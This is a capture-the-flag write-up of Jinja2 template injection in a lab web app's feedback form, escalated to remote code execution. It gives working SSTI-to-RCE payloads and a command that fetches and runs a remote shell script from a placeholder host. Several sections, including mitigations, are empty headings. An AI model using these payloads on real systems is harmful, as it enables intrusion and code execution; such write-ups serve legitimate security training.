Web CTF — Flight Panel (SSTI to RCE)

2025-10-29

TL;DR

Unauthenticated SSTI in a feedback form parameter allowed template evaluation. Verified with math, escalated to RCE using Jinja2 object chain, then read /flag.txt.

Foothold: SSTI in `name` -> Jinja2 eval
Exploit: `{{ cycler.__init__.__globals__.os.popen('id').read() }}`
Flag: `/flag.txt` via `cat`


Target Summary


Enumeration

Quick recon of reachable endpoints and tech stack.

# Baseline scan
whatweb http://flight-panel.ctf

# Crawl/fuzz common paths
feroxbuster -u http://flight-panel.ctf -t 50 -x html,txt,js -o ferox.txt

# Inspect JS for hidden endpoints
curl -s http://flight-panel.ctf/app.js | sed -n '1,200p'

Findings:


Foothold (SSTI)

Probe the reflected context with harmless arithmetic to confirm server-side evaluation.

POST /feedback HTTP/1.1
Host: flight-panel.ctf
Content-Type: application/x-www-form-urlencoded

name={{7*7}}&email=a@b.c&message=hi

Expected: Page renders 49 where your name appears. That confirms SSTI.

Next, identify the template engine. Common fingerprints for Jinja2:

name={{request.__class__.__name__}}

If you see Request, you're in Jinja2/Flask context.


Exploitation (Jinja2 to RCE)

Use a built-in object to pivot into Python globals and os.popen.

name={{ cycler.__init__.__globals__.os.popen('id').read() }}

If blocked, alternate gadgets:

name={{ url_for.__globals__.os.popen('uname -a').read() }}
name={{ lipsum.__globals__.os.popen('ls -la /').read() }}

Read the flag:

name={{ url_for.__globals__.os.popen('cat /flag.txt').read() }}

Notes:


Post-Exploitation

Lightweight local enum to confirm context and secrets.

whoami && id
env | sort
ls -la /app || true

If a shell is needed, base64-encode payloads to avoid bad chars:

name={{ url_for.__globals__.os.popen('bash -lc "curl http://YOURIP/shell.sh|bash"').read() }}


Proof of Flag

cat /flag.txt
# flag{template-engines-cut-both-ways}


Mitigations


References